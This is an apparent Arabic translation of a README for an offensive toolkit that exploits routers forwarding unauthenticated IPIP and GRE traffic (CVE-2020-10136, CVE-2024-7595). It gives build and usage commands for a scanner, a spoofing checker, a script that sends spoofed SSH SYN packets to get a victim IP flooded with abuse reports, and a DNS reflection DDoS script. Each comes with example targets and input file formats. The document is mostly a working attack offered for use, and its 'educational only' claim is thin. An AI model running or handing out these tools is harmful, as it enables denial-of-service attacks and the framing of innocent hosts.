
مجموعة مسح وهجوم للمضيفين الذين يعيدون توجيه الحزم غير الموثقة عبر بروتوكولات IPIP و GRE. (CVE-2020-10136 CVE-2024-7595)

أداة مسح وحزمة هجوم للمضيفات على الإنترنت العام (معظمها أجهزة توجيه Cisco) التي تقوم بإعادة توجيه الحزم غير الموثقة المغلفة في بروتوكولي IP-in-IP و GRE.
تُعرف هذه الثغرة باسم "تنفيذ غير آمن لبروتوكولات الأنفاق"، ويتم تتبعها تحت CVE-2020-10136 و CVE-2024-7595. تسمح لك بإرسال (ولكن ليس استقبال) أي حزمة IP من المضيفات المتأثرة.
للوهلة الأولى، قد تبدو القدرة على إرسال الحزم دون استقبالها عديمة الفائدة. ومع ذلك، فإن العديد من المضيفات المتأثرة توجد على شبكات لا تطبق تصفية المسار العكسي. وهذا يعني أنه يمكنك تزوير عناوين IP على الإنترنت العام باستخدام هذه الثغرات دون الحاجة إلى مضيف يفتقر إلى التحقق من صحة عنوان المصدر (يشار إليه عادةً بتعديل رأس IP أو IPHM) لشن هجمات مثل هجوم رفض الخدمة الموزع (DDoS) بتضخيم DNS.
هذه الأداة مخصصة للأغراض التعليمية فقط.
لا تشمل الأداة المسح بحثًا عن ثغرات مماثلة في بروتوكولي 6in4 و IP6IP6، لأن IPv6 ليس بروتوكولًا حقيقيًا يستخدمه الأفراد الجادون.
cd scanner/
cargo build --release
sudo ./target/release/ipeeyoupeewepee <source_ip> <src_port> <rate_limit> <protocol_type (GRE|IPIP)>
المعلمات:
<source_ip>: عنوان IPv4 العام الذي تمسح منه.<src_port>: منفذ UDP الذي سيستمع إليه الماسح الضوئي للحزم المعاد توجيهها. <rate_limit>: حد معدل الحزم بعدد الحزم في الثانية (مثل 1000).<protocol_type>: بروتوكول التغليف المراد المسح عنه، إما GRE أو IPIP.لاستخدام حزمة الهجوم الموجودة في دليل tools/، تأكد من تثبيت python3 و scapy. بدلاً من ذلك، يمكنك تشغيل poetry install و poetry shell كجذر داخل دليل tools/ لإعداد والوصول إلى بيئة افتراضية.
يتحقق هذا السكريبت مما إذا كان المضيف الضعيف قادرًا على إعادة توجيه حزم IP مزورة.
sudo python3 can_i_spoof.py <source_ip> <source_port> <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
المعلمات:
<source_ip>: عنوان IPv4 العام الذي تمسح منه.<source_port>: منفذ UDP للاستماع للحزم المعاد توجيهها.<tunnel_ip>: عنوان IP للمضيف الضعيف IPIP أو GRE.<spoof_ip>: عنوان IP الذي تنوي تزويره.<protocol>: بروتوكول التغليف المراد استغلاله، إما GRE أو IPIP.مثال على الاستخدام:
إذا كان عنوان IP لجهازك هو 192.0.2.42 وكان لديك منفذ UDP 31337 مفتوحًا في جدار الحماية، ووجدت مضيفًا ضعيفًا يعيد توجيه GRE على 198.51.100.25، يمكنك التحقق مما إذا كان يمكنه تزوير عنوان IP 203.0.113.23 باستخدام الأمر التالي:
sudo python3 can_i_spoof.py 192.0.2.42 31337 198.51.100.25 203.0.113.23 GRE
يستخدم هذا السكريبت مضيف أنفاق GRE أو IPIP ضعيفًا لإرسال حزم TCP SYN مزورة إلى المنفذ 22 من مضيفات عشوائية عبر الإنترنت، بهدف توليد تقارير إساءة جماعية ضد عنوان IP المستهدف.
sudo python3 abuse_honeypot.py <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
المعلمات:
<tunnel_ip>: عنوان IP للمضيف الضعيف IPIP أو GRE.<spoof_ip>: عنوان IP الذي تنوي تزويره.<protocol>: بروتوكول التغليف المراد استغلاله، إما GRE أو IPIP.مثال على الاستخدام:
إذا وجدت مضيفًا ضعيفًا يعيد توجيه GRE على 198.51.100.25 وتريد تزوير حزم TCP SYN على المنفذ 22 من عنوان IP 203.0.113.23، يمكنك تشغيل الأمر التالي:
sudo python3 abuse_honeypot.py 198.51.100.25 203.0.113.23 GRE
يستخدم هذا السكريبت مضيفات أنفاق GRE أو IPIP ضعيفة لعكس استجابات DNS مرة أخرى إلى هدف محدد، مما يوضح طريقة لتنفيذ هجوم رفض الخدمة الموزع (DDoS) عبر انعكاس DNS. هذا المثال أساسي ويمكن تحسينه على الأرجح لتحقيق تضخيم ومعدلات حزم أكبر؛ أي تحسينات تُترك كتمرين للقارئ.
sudo python3 dns_reflect.py <tunnel_ips.txt> <dns_resolvers.txt> <spoof_ip>
المعلمات:
<tunnel_ips.txt>: ملف يحتوي على قائمة بعناوين IP للمضيفات الضعيفة IPIP أو GRE.<dns_resolvers.txt>: ملف يحتوي على قائمة بحلالات DNS لاستخدامها في عكس الإجابات مرة أخرى إلى الهدف.<spoof_ip>: عنوان IP الذي تنوي تزويره.مثال على الاستخدام:
لبدء هجوم ضد عنوان IP 203.0.113.23، يمكنك تشغيل الأمر التالي:
sudo python3 dns_reflect.py tunnel_ips.txt dns_resolvers.txt 203.0.113.23
في هذا المثال، يجب أن يحتوي tunnel_ips.txt على قائمة بمضيفات IPIP أو GRE الضعيفة، مع تحديد البروتوكول في بداية كل سطر، بتنسيق كما يلي:
GRE 198.51.100.25
IPIP 198.51.100.45
GRE 198.51.100.124
GRE 198.51.100.200
IPIP 198.51.100.3
[...]
ويجب أن يتضمن dns_resolvers.txt قائمة بحلالات DNS العودية العامة، بتنسيق مثل هذا:
9.9.9.9
8.8.8.8
1.1.1.1
[...]